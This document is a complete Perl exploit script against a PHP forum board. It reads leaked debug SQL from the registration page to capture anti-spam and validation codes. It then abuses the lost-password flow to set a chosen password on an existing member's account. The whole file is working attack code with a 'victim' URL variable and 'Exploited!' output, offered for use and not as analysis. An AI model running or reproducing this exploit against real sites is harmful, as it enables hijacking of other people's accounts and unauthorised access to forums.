#!perl -w

use strict;
use LWP::UserAgent;

my $target="http://127.0.0.1/board/index.php";    # victim
my $name="hax0r";                                 # existing user
my $pass="31337";                                 # password to set
my $proxy="";                                     # optional: http proxy

my($prefix,$suffix,$regid,$regcode);
my $ua=LWP::UserAgent->new();
$ua->proxy("http",$proxy) if($proxy);
my $response=$ua->get($target."?act=Reg&CODE=10");
if($response->is_success)
{
  if($response->content=~/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>(.+?)_reg_antispam<\/span> \(regid,regcode,ip_address,ctime\) VALUES\(\'(.{32}?)\',(.+?),/im)
  {
    $prefix=$1;
    $regid=$2;
    $regcode=$3;
  }
  else
  {
    $suffix="&debug=1";
    $response=$ua->get($target."?act=Reg&CODE=10".$suffix);
    if($response->is_success)
    {
      if($response->content=~/INSERT INTO (.+?)_reg_antispam \(regid,regcode,ip_address,ctime\) VALUES\(\'(.{32})\',(.+?),/im)
      {
        $prefix=$1;
        $regid=$2;
        $regcode=$3;
      }
      else { exit print "\nExploit failed!\n" }
    }
    else { exit print "\nExploit failed!\n" }
  }
}
else { exit print "\nExploit failed!\n" }
$target=$target.$suffix if($suffix);
$response=$ua->post($target,[act=>"Reg",
                             CODE=>11,
                             member_name=>$name,
                             regid=>$regid,
                             reg_code=>$regcode]);
if($response->is_success)
{
  if($response->content=~/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\) VALUES\(\'(.{32})\',(.{1,32}),/im)
  { changePass($regcode,$regid,$1,$2) }
  elsif($response->content=~/INSERT INTO '.$prefix.'_validating \(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\) VALUES\(\'(.{32})\',(.{1,32}),/im)
  { changePass($regcode,$regid,$1,$2) }
  else { exit print "\nExploit failed!\n" }
}
else { print "\nExploit failed!\n" }

sub changePass
{
  my($regcode,$regid,$vid,$userid)=@_;
  my $ua=LWP::UserAgent->new();
  $ua->proxy("http",$proxy) if($proxy);
  my $response=$ua->post($target,[act=>"Reg",
                                  CODE=>03,
                                  type=>"lostpass",
                                  uid=>$userid,
                                  aid=>$vid,
                                  regid=>$regid,
                                  reg_code=>$regcode,
                                  pass1=>$pass,
                                  pass2=>$pass]);
  if($response->is_success) { exit print "\nExploited!\n" }
  else { exit print "\nExploit failed!\n" }
}